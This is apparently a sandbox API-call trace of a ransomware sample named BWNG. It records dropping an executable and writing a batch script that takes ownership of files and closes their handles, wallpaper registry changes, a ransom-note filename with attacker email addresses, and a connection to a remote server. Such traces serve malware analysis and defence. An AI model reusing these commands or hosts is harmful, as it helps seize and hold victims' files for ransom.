lpPerformanceCount=0x18fb00 | out: lpPerformanceCount=0x18fb00*=17359288405) returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="b\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="v\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="6\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="n\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="c\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="K\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="8\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="c\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.641] FindResourceW (hModule=0x400000, lpName="HN", lpType=0xa) returned 0x4f5440 [0031.641] LoadResource (hModule=0x400000, hResInfo=0x4f5440) returned 0x4f8c54 [0031.641] SizeofResource (hModule=0x400000, hResInfo=0x4f5440) returned 0x2d488 [0031.641] LockResource (hResData=0x4f8c54) returned 0x4f8c54 [0031.642] FreeResource (hResData=0x4f8c54) returned 0 [0031.642] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0031.642] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0031.642] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0031.642] LockResource (hResData=0x5260dc) returned 0x5260dc [0031.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x1e8e32c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0031.642] FreeResource (hResData=0x5260dc) returned 0 [0031.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb235c, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0031.642] GetCurrentThreadId () returned 0x5b0 [0031.642] GetCurrentThreadId () returned 0x5b0 [0031.642] GetCurrentThreadId () returned 0x5b0 [0031.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.648] WriteFile (in: hFile=0x17c, lpBuffer=0x2771360*, nNumberOfBytesToWrite=0x2d488, lpNumberOfBytesWritten=0x18faec, lpOverlapped=0x0 | out: lpBuffer=0x2771360*, lpNumberOfBytesWritten=0x18faec*=0x2d488, lpOverlapped=0x0) returned 1 [0031.651] CloseHandle (hObject=0x17c) returned 1 [0031.653] GetTickCount () returned 0x1153489 [0031.653] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb00 | out: lpPerformanceCount=0x18fb00*=17360557988) returned 1 [0031.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="B\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="t\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="3\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="x\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="n\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="w\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="k\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="o\x18﫼\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e7fdec, cbMultiByte=30, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C簁@﫼\x18絮@﫼\x18\x01") returned 30 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="takeown /F %1G %USERNAME%:F /C簁@﫼\x18絮@﫼\x18\x01") returned 13 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e630cc, cbMultiByte=14, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="set FN=\"%~nx1\" %USERNAME%:F /C簁@﫼\x18絮@﫼\x18\x01") returned 14 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="cd /d \"%~dp0\"\" %USERNAME%:F /C簁@﫼\x18絮@﫼\x18\x01") returned 13 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x25dc1cc, cbMultiByte=130, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`[HN] -accepteula %FN% -nobanner`) DO ([HN] -accepteula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 130 [0031.654] CharUpperBuffW (in: lpsz="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`[HN] -accepteula %FN% -nobanner`) DO ([HN] -accepteula -c %%J -y -p %%I -nobanner)\r\n", cchLength=0xd2 | out: lpsz="CACLS %1 /E /G %USERNAME%:F /C\r\nTAKEOWN /F %1\r\nSET FN=\"%~NX1\"\r\nCD /D \"%~DP0\"\r\nFOR /F \"USEBACKQ TOKENS=3,6 DELIMS=: \" %%I IN (`[HN] -ACCEPTEULA %FN% -NOBANNER`) DO ([HN] -ACCEPTEULA -C %%J -Y -P %%I -NOBANNER)\r\n") returned 0xd2 [0031.654] CharUpperBuffW (in: lpsz="[HN]", cchLength=0x4 | out: lpsz="[HN]") returned 0x4 [0031.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n", cchWideChar=226, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 226 [0031.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n", cchWideChar=226, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 226 [0031.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n", cchWideChar=226, lpMultiByteStr=0x1dd3618, cbMultiByte=226, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n", lpUsedDefaultChar=0x0) returned 226 [0031.654] WriteFile (in: hFile=0x17c, lpBuffer=0x1dd3618*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x18fa9c, lpOverlapped=0x0 | out: lpBuffer=0x1dd3618*, lpNumberOfBytesWritten=0x18fa9c*=0xe2, lpOverlapped=0x0) returned 1 [0031.656] CloseHandle (hObject=0x17c) returned 1 [0031.657] GetCurrentThreadId () returned 0x5b0 [0031.657] GetCurrentThreadId () returned 0x5b0 [0031.657] GetCurrentThreadId () returned 0x5b0 [0031.657] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0031.657] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat")) returned 0x20 [0031.657] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f9c0, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x25d4804 | out: lpThreadId=0x25d4804*=0xaec) returned 0x17c [0031.716] SetThreadPriority (hThread=0x17c, nPriority=0) returned 1 [0031.716] ResumeThread (hThread=0x17c) returned 0x1 [0031.716] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f71c, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.716] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.tts", lpFindFileData=0x18f974 | out: lpFindFileData=0x18f974*(dwFileAttributes=0xaec, ftCreationTime.dwLowDateTime=0x2, ftCreationTime.dwHighDateTime=0x407a44, ftLastAccessTime.dwLowDateTime=0x7efaf000, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x70bd58, nFileSizeHigh=0x17c, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x24, cFileName="\x03\x01\x08", cAlternateFileName="NNNNNNNNNǨ")) returned 0xffffffff [0031.717] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0031.717] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6a87c, cbMultiByte=2, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="10ﲔ\x18DO ([HN] -accepteula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 2 [0031.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263b054 | out: lpThreadId=0x263b054*=0x8cc) returned 0x178 [0031.717] SetThreadPriority (hThread=0x178, nPriority=0) returned 1 [0031.717] ResumeThread (hThread=0x178) returned 0x1 [0031.717] Sleep (dwMilliseconds=0x19) [0031.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263b6c4 | out: lpThreadId=0x263b6c4*=0x8ec) returned 0x188 [0031.780] SetThreadPriority (hThread=0x188, nPriority=0) returned 1 [0031.780] ResumeThread (hThread=0x188) returned 0x1 [0031.780] Sleep (dwMilliseconds=0x19) [0031.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263bd34 | out: lpThreadId=0x263bd34*=0x8ac) returned 0x18c [0031.868] SetThreadPriority (hThread=0x18c, nPriority=0) returned 1 [0031.868] ResumeThread (hThread=0x18c) returned 0x1 [0031.868] Sleep (dwMilliseconds=0x19) [0032.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263c3a4 | out: lpThreadId=0x263c3a4*=0x678) returned 0x194 [0032.007] SetThreadPriority (hThread=0x194, nPriority=0) returned 1 [0032.007] ResumeThread (hThread=0x194) returned 0x1 [0032.008] Sleep (dwMilliseconds=0x19) [0032.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263ca14 | out: lpThreadId=0x263ca14*=0xb6c) returned 0x19c [0032.166] SetThreadPriority (hThread=0x19c, nPriority=0) returned 1 [0032.166] ResumeThread (hThread=0x19c) returned 0x1 [0032.166] Sleep (dwMilliseconds=0x19) [0032.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263d084 | out: lpThreadId=0x263d084*=0x694) returned 0xe8 [0032.425] SetThreadPriority (hThread=0xe8, nPriority=0) returned 1 [0032.425] ResumeThread (hThread=0xe8) returned 0x1 [0032.425] Sleep (dwMilliseconds=0x19) [0032.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263d6f4 | out: lpThreadId=0x263d6f4*=0x7b8) returned 0xf4 [0032.597] SetThreadPriority (hThread=0xf4, nPriority=0) returned 1 [0032.597] ResumeThread (hThread=0xf4) returned 0x1 [0032.597] Sleep (dwMilliseconds=0x19) [0033.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263dd64 | out: lpThreadId=0x263dd64*=0x32c) returned 0x190 [0033.177] SetThreadPriority (hThread=0x190, nPriority=0) returned 1 [0033.177] ResumeThread (hThread=0x190) returned 0x1 [0033.177] Sleep (dwMilliseconds=0x19) [0033.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x263e3d4 | out: lpThreadId=0x263e3d4*=0x91c) returned 0x1a4 [0033.310] SetThreadPriority (hThread=0x1a4, nPriority=0) returned 1 [0033.310] ResumeThread (hThread=0x1a4) returned 0x1 [0033.310] Sleep (dwMilliseconds=0x19) [0033.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x263ea44 | out: lpThreadId=0x263ea44*=0xb84) returned 0x174 [0033.792] SetThreadPriority (hThread=0x174, nPriority=0) returned 1 [0033.792] ResumeThread (hThread=0x174) returned 0x1 [0033.792] Sleep (dwMilliseconds=0x19) [0033.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x263f0b4 | out: lpThreadId=0x263f0b4*=0xb88) returned 0x1b8 [0033.838] SetThreadPriority (hThread=0x1b8, nPriority=0) returned 1 [0033.838] ResumeThread (hThread=0x1b8) returned 0x1 [0033.838] Sleep (dwMilliseconds=0x19) [0033.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=20, lpWideCharStr=0x18eaec, cchWideChar=2047 | out: lpWideCharStr="billwong73@yahoo.com -accepteula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 20 [0033.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6a954, cbMultiByte=4, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="BWNGllwong73@yahoo.com -accepteula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 4 [0033.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x1df5da4 | out: lpThreadId=0x1df5da4*=0x67c) returned 0x1c0 [0033.869] SetThreadPriority (hThread=0x1c0, nPriority=0) returned 1 [0033.869] ResumeThread (hThread=0x1c0) returned 0x1 [0033.869] Sleep (dwMilliseconds=0x19) [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=20, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="billwong73@yahoo.comeula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 20 [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e7fd5c, cbMultiByte=25, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="billwong73@protonmail.coma -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 25 [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=18, lpWideCharStr=0x18eaf4, cchWideChar=2047 | out: lpWideCharStr="billwong73@aol.comnmail.coma -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 18 [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6a984, cbMultiByte=5, lpWideCharStr=0x18eaf0, cchWideChar=2047 | out: lpWideCharStr="emptylwong73@aol.comnmail.coma -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 5 [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6302c, cbMultiByte=15, lpWideCharStr=0x18ead0, cchWideChar=2047 | out: lpWideCharStr="!BWNG_INFO!.rtf\x18emptylwong73@aol.comnmail.coma -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 15 [0033.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x264c534 | out: lpThreadId=0x264c534*=0xbe4) returned 0x1c8 [0033.900] SetThreadPriority (hThread=0x1c8, nPriority=0) returned 1 [0033.900] ResumeThread (hThread=0x1c8) returned 0x1 [0033.900] Sleep (dwMilliseconds=0x19) [0033.980] WaitForMultipleObjects (nCount=0xd, lpHandles=0x4ee250*=0x178, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xb50 [0024.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x1e62c6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ghb.timerz.org", lpUsedDefaultChar=0x0) returned 14 [0024.854] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x1eaa9ac, cbMultiByte=20, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="Host: ghb.timerz.org") returned 20 [0024.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="80", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0024.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="80", cchWideChar=2, lpMultiByteStr=0x1e6a024, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="80", lpUsedDefaultChar=0x0) returned 2 [0024.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x1e62d2c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ghb.timerz.org", lpUsedDefaultChar=0x0) returned 14 [0024.857] getaddrinfo (in: pNodeName="ghb.timerz.org", pServiceName="80", pHints=0x228fb8c*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x228fbac | out: ppResult=0x228fbac*=0x70c8c8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x713260*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), ai_next=0x0)) returned 0 [0026.774] FreeAddrInfoW (pAddrInfo=0x70c8c8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x713260*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), ai_next=0x0)) [0026.774] getnameinfo (in: pSockaddr=0x228fc14*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), SockaddrLength=0x10, pNodeBuffer=0x1dc421c, NodeBufferSize=0x401, pServiceBuffer=0x1eb1ccc, ServiceBufferSize=0x20, Flags=10 | out: pNodeBuffer="47.245.34.40", pServiceBuffer="80") returned 0 [0027.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e62c2c, cbMultiByte=12, lpWideCharStr=0x228ec30, cchWideChar=2047 | out: lpWideCharStr="47.245.34.40") returned 12 [0027.091] htons (hostshort=0x5000) returned 0x50 [0027.091] socket (af=2, type=1, protocol=6) returned 0x168 [0027.091] connect (s=0x168, name=0x228fcd8*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), namelen=16) returned 0 [0027.457] getsockname (in: s=0x168, name=0x1e0de30, namelen=0x228fca4 | out: name=0x1e0de30*(sa_family=2, sin_port=0xc006, sin_addr="192.168.0.244"), namelen=0x228fca4) returned 0 [0027.457] getpeername (in: s=0x168, name=0x1e0de4c, 